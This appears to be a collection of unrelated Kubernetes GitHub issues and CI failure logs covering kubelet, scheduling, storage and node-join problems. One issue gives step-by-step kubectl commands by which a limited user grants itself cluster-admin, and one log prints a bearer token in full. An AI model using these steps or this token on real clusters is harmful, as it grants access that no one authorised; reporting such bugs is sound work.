: i0727 05:44:32.887301   21438 round_trippers.go:299  curl  -k -v -xget  -h \ accept: application/vnd.kubernetes.protobuf,  / \  -h \ user-agent: kubelet/v1.3.0  linux/amd64  kubernetes/2831379\   -h \ authorization: bearer 7zrtozxpliot3dbd36pmfoxv06gv97da\  https://172.32.1.36/api/v1/services?resourceversion=0 jul 27 05:44:32 ip-172-32-1-118.us-west-1.compute.internal kubelet 21438 : i0727 05:44:32.886687   21438 reflector.go:253  listing and watching  api.service from pkg/kubelet/kubelet.go:262      but when i ran the command that excerpted from the log above, it did succeed:       $ curl  -k -v -xget  -h \ accept: application/vnd.kubernetes.protobuf,  / \  -h \ user-agent: kubelet/v1.3.0  linux/amd64  kubernetes/2831379\   -h \ authorization: bearer 7zrtozxpliot3dbd36pmfoxv06gv97da\  https://172.32.1.36/api/v1/services?resourceversion=0  note: unnecessary use of -x or --request, get is already inferred.     trying 172.32.1.36...   connected to 172.32.1.36  172.32.1.36  port 443   0    alpn, offering http/1.1   cipher selection: all:!export:!export40:!export56:!anull:!low:!rc4:@strength   successfully set certificate verify locations:     cafile: /etc/ssl/certs/ca-certificates.crt   capath: /etc/ssl/certs   tlsv1.2  out , tls header, certificate status  22 :   tlsv1.2  out , tls handshake, client hello  1 :   tlsv1.2  in , tls handshake, server hello  2 :   tlsv1.2  in , tls handshake, certificate  11 :   tlsv1.2  in , tls handshake, server key exchange  12 :   tlsv1.2  in , tls handshake, server finished  14 :   tlsv1.2  out , tls handshake, client key exchange  16 :   tlsv1.2  out , tls change cipher, client hello  1 :   tlsv1.2  out , tls handshake, finished  20 :   tlsv1.2  in , tls change cipher, client hello  1 :   tlsv1.2  in , tls handshake, finished  20 :   ssl connection using tlsv1.2 / ecdhe-rsa-aes128-gcm-sha256   alpn, server accepted to use http/1.1   server certificate:          subject: cn=172.32.1.36@1469585106          start date: jul 27 02:05:06 2016 gmt          expire date: jul 27 02:05:06 2017 gmt          issuer: cn=172.32.1.36@1469585106          ssl certificate verify result: self signed certificate  18 , continuing anyway. > get /api/v1/services?resourceversion=0 http/1.1 > host: 172.32.1.36 > accept: application/vnd.kubernetes.protobuf,  /  > user-agent: kubelet/v1.3.0  linux/amd64  kubernetes/2831379 > authorization: bearer 7zrtozxpliot3dbd36pmfoxv06gv97da >  < http/1.1 200 ok < content-type: application/vnd.kubernetes.protobuf < date: wed, 27 jul 2016 06:28:48 gmt < content-length: 1690 <  k8s  --------snips---------      can anyone get any idea ?

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke-slow/9057/  failed:  k8s.io  networking  k8s.io  granular checks: services  slow  should update nodeport: udp  slow  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:222 sep 22 08:24:00.911: failed to find expected endpoints: tries 39 command echo 'hostname' | timeout -t 3 nc -w 1 -u 104.198.148.52 31656 retrieved map netserver-0:{}  expected map    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking_utils.go:231

failure cluster  a9007eb4001213f2c69d  https://go.k8s.io/triage a9007eb4001213f2c69d        error text:     error: 1 leaked resources   instance-templates   +bootstrap-e2e-minion-template-v1-6-5-beta-0-25-51b4579e76c510  n1-standard-2               2017-05-17t15:28:45.239-07:00           failure cluster statistics: 1 tests failed,    4 jobs failed,    66 builds failed. failure stats cover 1 day time range '24 may 2017 15:03 utc' to '25 may 2017 15:03 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | diffresources | 4 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gce-1.6-1.5-downgrade-cluster | 53 |  25 may 2017 14:17 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1.6-1.5-downgrade-cluster/3377  | | ci-kubernetes-e2e-gce-latest-upgrade-cluster | 10 |  25 may 2017 12:14 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-latest-upgrade-cluster/2122  | | ci-kubernetes-e2e-gce-1.5-1.6-upgrade-cluster-new | 2 |  25 may 2017 02:54 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1.5-1.6-upgrade-cluster-new/189  |   current status  https://go.k8s.io/triage a9007eb4001213f2c69d

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r   cloudnodecontroller.addcloudnode     1  does not populate  node.spec.providerid  and as such the field never gets set for clusters deployed with external cloud controller managers.\r \r for in-tree cloud providers  kubelet  sets the properties in   kubelet.initialnode     2 .\r \r   what you expected to happen  :\r \r   cloudnodecontroller.addcloudnode     1  should call  cloudprovider.instances.instanceid    and set the  node.spec.providerid  field.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r  - deploy a cluster with  --cloud-provider=external  and an external cloud controller manager\r  - note that  node.spec.providerid  is not set by the cloud controller manager.\r \r   anything else we need to know?  :\r \r kubelet also populates this field using https://github.com/google/cadvisor where possible  at the time of writing for gce, aws, and azure . we could document that as the means of populating  providerid  on other clouds  via contributions to cadvisor , however, that seems like a move in the wrong direction.\r \r   environment  :\r - kubernetes version:\r      \r    client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t19:06:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r    server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t22:55:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r       \r - cloud provider: external cloud provider  oracle bare metal cloud services .\r - os  e.g. from /etc/os-release :  oel 7.3 \r - kernel  e.g.  uname -a  :  linux apryde-master 4.1.12-94.3.6.el7uek.x86_64 x86_64 gnu/linux \r - install tools:  kubeadm \r \r /cc @luxas @wlan0 @rrati @roberthbailey @tjfontaine @owainlewis\r \r  1 : https://github.com/kubernetes/kubernetes/blob/02b520f0a40be2056d91fc0661c2b4fdb2694c30/pkg/controller/cloud/nodecontroller.go l266\r  2 : https://github.com/kubernetes/kubernetes/blob/02b520f0a40be2056d91fc0661c2b4fdb2694c30/pkg/kubelet/kubelet_node_status.go l293

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   \r \r   what happened  :\r \r  failed to pull image \\\ k8s.gcr.io/pause:3.1\\\  \r \r    \r error syncing pod cbc9323f-4200-11e8-87a9-fa163ef77358  \ kube-dns-96bc87b87-x8wcl_kube-system cbc9323f-4200-11e8-87a9-fa163ef77358 \  , skipping: failed to \ createpodsandbox\  for \ kube-dns-96bc87b87-x8wcl_kube-system cbc9323f-4200-11e8-87a9-fa163ef77358 \  with createpodsandboxerror: \ createpodsandbox for pod \\\ kube-dns-96bc87b87-x8wcl_kube-system cbc9323f-4200-11e8-87a9-fa163ef77358 \\\  failed: rpc error: code = unknown desc = failed to get sandbox image \\\ k8s.gcr.io/pause:3.1\\\ : failed to pull image \\\ k8s.gcr.io/pause:3.1\\\ : failed to resolve image \\\ k8s.gcr.io/pause:3.1\\\ : failed to do request: head https://k8s.gcr.io/v2/pause/manifests/3.1: dial tcp 108.177.97.82:443: i/o timeout\ \r    \r \r   what you expected to happen  :\r \r  pull registry.hub.docker.com/yangxikun/pause-amd64:3.1 \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r <img width=\ 617\  alt=\ image\  src=\ https://user-images.githubusercontent.com/3364160/38878069-b4fca38c-4292-11e8-8047-dd976f73eb07.png\ >\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-12t14:14:26z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r \r centos 7\r \r - kernel  e.g.  uname -a  :\r \r 3.10.0-693.21.1.el7.x86_64\r \r - install tools:\r - others:

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r   >  \r \r   what happened  :\r when i scale worker nodes to 500, only 495 joins.  and aws console shows all 500 worker nodes are in running state.\r    \r kubectl get node | wc -l\r      495\r    \r   what you expected to happen  :\r all 500 worker nodes should join.\r \r   how to reproduce it  as minimally and precisely as possible   :\r it happens once when i ran following test 3 or 4 times.\r   create a cluster\r   scale worker node auto-scaling group from 2 to 500\r \r   anything else we need to know?  :\r    logs from kube-controller   \r    \r kube-controller-manager.log-20180518:w0518 00:00:53.746234       1 actual_state_of_world.go:491  failed to update statusupdateneeded field in actual state of world: failed to set statusupdateneeded to needed true, because nodename=\ ip-192-168-116-191.us-west-2.compute.internal\  does not exist\r kube-controller-manager.log-20180518:i0518 00:00:53.757245       1 ttl_controller.go:271  changed ttl annotation for node ip-192-168-116-191.us-west-2.compute.internal to 15 seconds\r kube-controller-manager.log-20180518:i0518 00:00:57.410393       1 node_lifecycle_controller.go:555  controller observed a new node: \ ip-192-168-116-191.us-west-2.compute.internal\ \r kube-controller-manager.log-20180518:i0518 00:00:57.410426       1 controller_utils.go:198  recording registered node ip-192-168-116-191.us-west-2.compute.internal in controller event message for node ip-192-168-116-191.us-west-2.compute.internal\r kube-controller-manager.log-20180518:w0518 00:00:58.777196       1 node_lifecycle_controller.go:761  missing timestamp for node ip-192-168-116-191.us-west-2.compute.internal. assuming now as a timestamp.\r kube-controller-manager.log-20180518:i0518 00:00:59.309340       1 node_lifecycle_controller.go:691  deleting node  no longer present in cloud provider : ip-192-168-116-191.us-west-2.compute.internal\r kube-controller-manager.log-20180518:i0518 00:00:59.309374       1 controller_utils.go:198  recording deleting node ip-192-168-116-191.us-west-2.compute.internal because it's not present according to cloud provider event message for node ip-192-168-116-191.us-west-2.compute.internal\r ..\r kube-controller-manager.log:i0518 00:01:11.076278       1 node_lifecycle_controller.go:567  controller observed a node deletion: ip-192-168-116-191.us-west-2.compute.internal\r kube-controller-manager.log:i0518 00:01:11.076287       1 controller_utils.go:198  recording removing node ip-192-168-116-191.us-west-2.compute.internal from controller event message for node ip-192-168-116-191.us-west-2.compute.internal\r kube-controller-manager.log:i0518 00:01:17.461075       1 gc_controller.go:162  found orphaned pod aws-node-gpldh assigned to the node ip-192-168-116-191.us-west-2.compute.internal. deleting.\r    \r    logs from kube-apiserver   \r    \r i0518 00:00:53.694289       1 wrap.go:42  get /api/v1/nodes?fieldselector=metadata.name%3dip-192-168-116-191.us-west-2.compute.internal&limit=500&resourceversion=0:  216.218651ms  200   kubelet/v1.10.0  linux/amd64  kubernetes/fc32d2f  52.41.79.134:57006 \r \r 0518 00:00:59.332791       1 wrap.go:42  delete /api/v1/nodes/ip-192-168-116-191.us-west-2.compute.internal:  14.318465ms  200   kube-controller-manager/v1.10.0  linux/amd64  kubernetes/fc32d2f/node-controller  127.0.0.1:53124 \r    \r    logs from kubelet:   \r    \r may 18 00:00:53 ip-192-168-116-191.us-west-2.compute.internal kubelet 4431 : i0518 00:00:53.289036    4431 kubelet.go:1794  skipping pod synchronization -  container runtime is down \r may 18 00:00:53 ip-192-168-116-191.us-west-2.compute.internal kubelet 4431 : i0518 00:00:53.289507    4431 kubelet_node_status.go:271  setting node annotation to enable volume controller attach/detach\r may 18 00:00:53 ip-192-168-116-191.us-west-2.compute.internal kubelet 4431 : i0518 00:00:53.289540    4431 kubelet_node_status.go:327  adding node label from cloud provider: beta.kubernetes.io/instance-type=c3.xlarge\r may 18 00:00:53 ip-192-168-116-191.us-west-2.compute.internal kubelet 4431 : i0518 00:00:53.289551    4431 kubelet_node_status.go:338  adding node label from cloud provider: failure-domain.beta.kubernetes.io/zone=us-west-2a\r may 18 00:00:53 ip-192-168-116-191.us-west-2.compute.internal kubelet 4431 : i0518 00:00:53.289559    4431 kubelet_node_status.go:342  adding node label from cloud provider: failure-domain.beta.kubernetes.io/region=us-west-2\r may 18 00:00:53 ip-192-168-116-191.us-west-2.compute.internal kubelet 4431 : i0518 00:00:53.295258    4431 kubelet_node_status.go:82  attempting to register node ip-192-168-116-191.us-west-2.compute.internal\r may 18 00:00:53 ip-192-168-116-191.us-west-2.compute.internal kubelet 4431 : i0518 00:00:53.489807    4431 kubelet.go:1794  skipping pod synchronization -  container runtime is down \r may 18 00:00:53 ip-192-168-116-191.us-west-2.compute.internal kubelet 4431 : i0518 00:00:53.555723    4431 kubelet_node_status.go:85  successfully registered node ip-192-168-116-191.us-west-2.compute.internal\r    \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-05-05t23:07:29z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-05-05t23:34:40z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r aws \r - os  e.g. from /etc/os-release :\r    \r  master\r /etc/kubernetes/manifests% cat /etc/os-release\r name=\ amazon linux\ \r version=\ 2  2017.12 \ \r id=\ amzn\ \r id_like=\ centos rhel fedora\ \r version_id=\ 2\ \r pretty_name=\ amazon linux 2  2017.12  lts release candidate\ \r ansi_color=\ 0;33\ \r cpe_name=\ cpe:2.3:o:amazon:amazon_linux:2\ \r home_url=\ https://amazonlinux.com/\ \r    \r \r    \r  worker\r cat /etc/os-release \r name=\ amazon linux\ \r version=\ 2  2017.12 \ \r id=\ amzn\ \r id_like=\ centos rhel fedora\ \r version_id=\ 2\ \r pretty_name=\ amazon linux 2  2017.12  lts release candidate\ \r ansi_color=\ 0;33\ \r cpe_name=\ cpe:2.3:o:amazon:amazon_linux:2\ \r home_url=\ https://amazonlinux.com/\r    \r - kernel  e.g.  uname -a  :\r    \r  master\r uname -a\r linux ip-10-0-116-180.us-west-2.compute.internal 4.14.33-59.37.amzn2.x86_64  1 smp thu may 3 21:25:31 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r \r    \r  worker\r uname -a\r linux ip-192-168-116-191.us-west-2.compute.internal 4.14.33-59.37.amzn2.x86_64  1 smp thu may 3 21:25:31 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r a user grant extra privileges \r \r   what you expected to happen  :\r \r a user shouldn't  grant extra privileges\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r yaml:  test.yaml\r \r    yaml\r apiversion: rbac.authorization.k8s.io/v1\r kind: clusterrole\r metadata:\r   name: test\r rules:\r - apigroups:\r   - rbac.authorization.k8s.io\r   resources:\r   - clusterrolebindings\r   verbs:\r   - create\r - apigroups:\r   - rbac.authorization.k8s.io\r   resourcenames:\r   - cluster-admin\r   resources:\r   - clusterroles\r   verbs:\r   - ' '\r    \r \r 1. the  test  user cannot list pods\r    shell \r kubectl --as test get po\r \r error from server  forbidden : pods is forbidden: user \ test\  cannot list pods in the namespace \ default\ \r    \r 2. create role and binding\r \r    shell\r kubectl create -f test.yaml\r \r kubectl create clusterrolebinding test --clusterrole test --user test\r    \r \r 3. try listing pods\r \r    shell\r kubectl --as test get po\r \r error from server  forbidden : pods is forbidden: user \ test\  cannot list pods in the namespace \ default\ \r    \r \r 4. bind cluster-admin\r \r    shell\r kubectl --as test create clusterrolebinding test-extra-privileges --clusterrole cluster-admin --user test\r    \r \r 5.  try listing pods\r \r    shell\r kubectl --as test get po\r \r no resources found.\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-12t14:26:04z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-12t14:14:26z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

currently, in our tests, we have an ability to profile kube-apiserver  profiling enabled by default  and scheduler  we switch it on in scalability tests .\r \r however, we need an ability to profile other components too, in particular:\r - controller-manager\r - kube-proxy\r  for those it's a matter of enabling it in our tests \r - kubelet\r  which doesn't export /profile handler \r \r @kubernetes/sig-scalability-feature-requests

@kubernetes/sig-contributor-experience-storageos\r bug report\r \r   what happened  :\r \r i have an in-house kubernetes cluster with 3 nodes  cent os 7 . i have setup storageos as the persistent volume manager and all the services look good. but, when i am trying to create a volume claim and mount the same to a mysql pod, i am getting a weird error. \r \r  mountvolume.setup failed for volume \ pvc-619daabb-835c-11e8-b4fd-fa163e32d538\  : stat /var/lib/storageos/volumes/9f92e4e1-32ee-ab44-b701-0772071ffa6b: no such file or directory  \r \r i have checked the location \ /var/lib/storageos/volumes\  and really the mentioned file is not there. but, now when i investigated further it seems a bit clear that kubelet is trying to point to a directory by the name of the \ id\  field of the volume claim. \r \r    storageos volume inspect\r  \r     {\r         \ id\ : \   9f92e4e1-32ee-ab44-b701-0772071ffa6b  \ ,\r         \ inode\ : 200323,\r         \ name\ : \ pvc-619daabb-835c-11e8-b4fd-fa163e32d538\ ,\r         \ size\ : 2,\r         \ pool\ : \ default\ ,\r         \ fstype\ : \ ext4\ ,\r         \ description\ : \ kubernetes volume\ ,\r         \ labels\ : {\r             \ heptio.com/example\ : \ lamp\ \r         },\r         \ namespace\ : \ default\ ,\r         \ nodeselector\ : \ \ ,\r         \ master\ : {\r             \ id\ : \ 0a977fb5-f1c9-70f5-c0aa-03fcf552d505\ ,\r             \ inode\ : 100966,\r             \ node\ : \ aa0733a1-b118-682a-608c-146328c9df2e\ ,\r             \ nodename\ : \ kub-node02\ ,\r             \ controller\ : \ \ ,\r             \ controllername\ : \ \ ,\r             \ health\ : \ healthy\ ,\r             \ status\ : \ active\ ,\r             \ createdat\ : \ 2018-07-09t09:41:45.006072132z\ \r         },\r         \ mounted\ : false,\r         \ mountdevice\ : \ \ ,\r         \ mountpoint\ : \ \ ,\r         \ mountedat\ : \ 0001-01-01t00:00:00z\ ,\r         \ replicas\ :   ,\r         \ health\ : \ \ ,\r         \ status\ : \ active\ ,\r         \ statusmessage\ : \ \ ,\r         \ mkfsdone\ : false,\r         \ mkfsdoneat\ : \ 0001-01-01t00:00:00z\ ,\r         \ createdat\ : \ 2018-07-09t09:42:23.648730691z\ ,\r         \ createdby\ : \ storageos\ \r     }\r  \r  \r but, when i browsed through \ /var/lib/storageos/volumes\  directory on the master node, i could see something familiar with the above values.\r \r    ls -lhrt /var/lib/storageos/volumes/\r total 512m\r -rw-rw---- 1 root disk  2.0g jul  9 10:14 bst-200323\r brw-rw---- 1 root disk 8, 96 jul  9 10:14   9f92e4e1-32ee-ab44-b701-0772071ffa6b  \r -rw-rw---- 1 root disk  2.0g jul  9 10:14 0a977fb5-f1c9-70f5-c0aa-03fcf552d505  \r \r but, this is not present at other nodes. hence, pod running on node-2 is failing to resolve the path. is there something i am missing here or seems like a bug ?\r \r   what you expected to happen  :  persistent volume should be accessible from pods anywhere in the cluster.\r \r   how to reproduce it  as minimally and precisely as possible   : set up a kubernetes cluster with 3 nodes having 1 as master and other 2 as data nodes. deploy mysql with the following yaml definition.\r \r >  \r > \r > apiversion: v1\r > kind: secret\r > metadata:\r >   name: mysql-credentials\r > type: opaque\r > data:\r >   rootpw: dmfytxlsb290ugfzcw==\r >   user: dmfytxleqlvzzxi=\r >   password: dmfytxleqlbhc3m=\r > \r > ---\r > apiversion: v1\r > kind: persistentvolumeclaim\r > metadata:\r >   name: database\r >   annotations:\r >     volume.beta.kubernetes.io/storage-class: fast\r > spec:\r >   accessmodes:\r >     - readwriteonce\r >   resources:\r >     requests:\r >       storage: 2gi\r > \r > ---\r > \r > apiversion: extensions/v1beta1\r > kind: deployment\r > metadata:\r >   name: mysql\r > spec:\r >   replicas: 1\r >   revisionhistorylimit: 5\r >   selector:\r >     matchlabels:\r >       app: mysql\r >   template:\r >     metadata:\r >       labels:\r >         app: mysql\r >     spec:\r >       containers:\r >       - image: mysql\r >         name: mysql\r >         resources:\r >           requests:\r >             cpu: 1\r >             memory: 2gi\r >         env:\r >           - name: mysql_root_password\r >             valuefrom:\r >               secretkeyref:\r >                 name: mysql-credentials\r >                 key: rootpw\r >           - name: mysql_user\r >             valuefrom:\r >               secretkeyref:\r >                 name: mysql-credentials\r >                 key: user\r >           - name: mysql_password\r >             valuefrom:\r >               secretkeyref:\r >                 name: mysql-credentials\r >                 key: password\r >           - name: mysql_database\r >             value: sakila\r >         livenessprobe:\r >           tcpsocket:\r >             port: 3306\r >         ports:\r >         - containerport: 3306\r >         volumemounts:\r >         - mountpath: /var/lib/mysql\r >           subpath: data\r >           name: database\r >       volumes:\r >       - name: database\r >         persistentvolumeclaim:\r >           claimname: database\r > \r > ---\r > \r > apiversion: v1\r > kind: service\r > metadata:\r >   name: mysql\r > spec:\r >   type: clusterip\r >   ports:\r >   - port: 3306\r >     protocol: tcp\r >   selector:\r >     app: mysql\r > \r > \r \r once this is created through kubectl create -f <filename.yaml> the error is to be shown as below.\r \r    kubectl describe pod mysql-56bc6f4ff5-k7g7f\r name:           mysql-56bc6f4ff5-k7g7f\r namespace:      default\r node:           kub-node02/10.2.0.5\r start time:     mon, 09 jul 2018 09:41:46 +0000\r labels:         app=mysql\r                 pod-template-hash=1267290991\r annotations:    <none>\r status:         pending\r ip:\r controlled by:  replicaset/mysql-56bc6f4ff5\r containers:\r   mysql:\r     container id:\r     image:          mysql\r     image id:\r     port:           3306/tcp\r     host port:      0/tcp\r     state:          waiting\r       reason:       containercreating\r     ready:          false\r     restart count:  0\r     requests:\r       cpu:     1\r       memory:  2gi\r     liveness:  tcp-socket :3306 delay=0s timeout=1s period=10s  success=1  failure=3\r     environment:\r       mysql_root_password:  <set to the key 'rootpw' in secret 'mysql-credentials'>    optional: false\r       mysql_user:           <set to the key 'user' in secret 'mysql-credentials'>      optional: false\r       mysql_password:       <set to the key 'password' in secret 'mysql-credentials'>  optional: false\r       mysql_database:       sakila\r     mounts:\r       /var/lib/mysql from database  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-tf5hh  ro \r conditions:\r   type              status\r   initialized       true\r   ready             false\r   containersready   false\r   podscheduled      true\r volumes:\r   database:\r     type:       persistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:  database\r     readonly:   false\r   default-token-tf5hh:\r     type:        secret  a volume populated by a secret \r     secretname:  default-token-tf5hh\r     optional:    false\r qos class:       burstable\r node-selectors:  <none>\r tolerations:     node.kubernetes.io/not-ready:noexecute for 300s\r                  node.kubernetes.io/unreachable:noexecute for 300s\r events:\r   type     reason       age                from                 message\r   ----     ------       ----               ----                 -------\r   warning  failedmount  11m  x45 over 1h   kubelet, kub-node02  mountvolume.setup failed for volume \ pvc-619daabb-835c-11e8-b4fd-fa163e32d538\  : stat /var/lib/storageos/volumes/9f92e4e1-32ee-ab44-b701-0772071ffa6b: no such file or directory\r   warning  failedmount  1m  x38 over 1h    kubelet, kub-node02  unable to mount volumes for pod \ mysql-56bc6f4ff5-k7g7f_default 61a8bd69-835c-11e8-b4fd-fa163e32d538 \ : timeout expired waiting for volumes to attach or mount for pod \ default\ /\ mysql-56bc6f4ff5-k7g7f\ . list of unmounted volumes= database . list of unattached volumes= database default-token-tf5hh \r  \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:17:28z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:08:34z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: 4 vcpu, 8gb memory, 200gb disk.\r - os  e.g. from /etc/os-release : \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r \r - kernel  e.g.  uname -a  : \r linux kub-master 3.10.0-862.3.3.el7.x86_64  1 smp fri jun 15 04:15:27 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: n/a\r - others: \r

please coordinate with sig-scheduling before working on this issue.   we want to avoid the situation where two people accidentally start work on the same fix.\r main tracking issue: https://github.com/kubernetes/kubernetes/issues/68951\r \r the tests in  pkg/scheduler/factory/factory_test.go  depend on mocking rest/http with the utils in  pkg/scheduler/testing . it would be much simpler to use  k8s.io/client-go/kubernetes/fake.clientset  instead. none of the behavior under test depends on how the rest and http stuff behaves.\r \r /ref https://github.com/kubernetes/kubernetes/issues/68962\r   /help\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r   >  \r \r   what happened  :\r \r getting the following errors for cert-manager and nginx-ingress controller containers. \r \r    \r e0927 10:40:02.235878       8 streamwatcher.go:109  unable to decode an event from the watch stream: stream error: stream id 561; internal_error\r e0927 10:40:02.235979       8 streamwatcher.go:109  unable to decode an event from the watch stream: stream error: stream id 559; internal_error\r e0927 10:45:46.946117       8 streamwatcher.go:109  unable to decode an event from the watch stream: stream error: stream id 757; internal_error\r e0927 10:50:03.071794       8 streamwatcher.go:109  unable to decode an event from the watch stream: stream error: stream id 905; internal_error\r e0927 10:50:03.751127       8 streamwatcher.go:109  unable to decode an event from the watch stream: stream error: stream id 907; internal_error\r    \r error message  is flooding the logs but cert-manager and ngnix appear to be operating normally. \r \r no other errors in the log before or after the above. no errors in kubelet logs either for the node hosting the containers. \r \r   what you expected to happen  :\r no errors in the log\r \r   how to reproduce it  as minimally and precisely as possible   :\r install latest cert-manager and nginx ingress releases via stable helm charts.\r \r   anything else we need to know?  :\r nginx ingress, cert-manager and external-dns all installed in the same namespace.  recreating pods does not fix this issue. \r \r rbac is enabled on the cluster \r \r   environment  :\r - kubernetes version  use  kubectl version  :1.11.2\r - cloud provider or hardware configuration: azure aks\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r setting nominatednodename has an inherent race:\r 1. the scheduler tries a pod and finds it unschedulable.\r 1. the preemption logic tries and finds a node to schedule the pod  with or without preempting any other pod .\r 1. the scheduler sends a pod update to update nominatednodename of the pod.\r     the scheduler has not received the pod update for setting \ nominatednodename\  yet.\r 1. the scheduler tries another pod and finds the same node schedulable. so, it binds the second pod.\r 1. the nominated pod has the nominatednodename set, but the resources on the node are already taken by another pod, so the nominated pod is no longer schedulable on that node.\r \r the race that i described above can cause an issue:\r 1. there is a pod which has nominatednodename, but is affected by the above race.\r 1. a smaller pod with the same  scheduled on the same node  due to the above race condition .\r 1. there is enough room on the node for other small pods, but since there exists a nominated pod for the node, other smaller pods won't be scheduled there. the nominated pod cannot be scheduled there either, because the available resources are partially taken by the other smaller 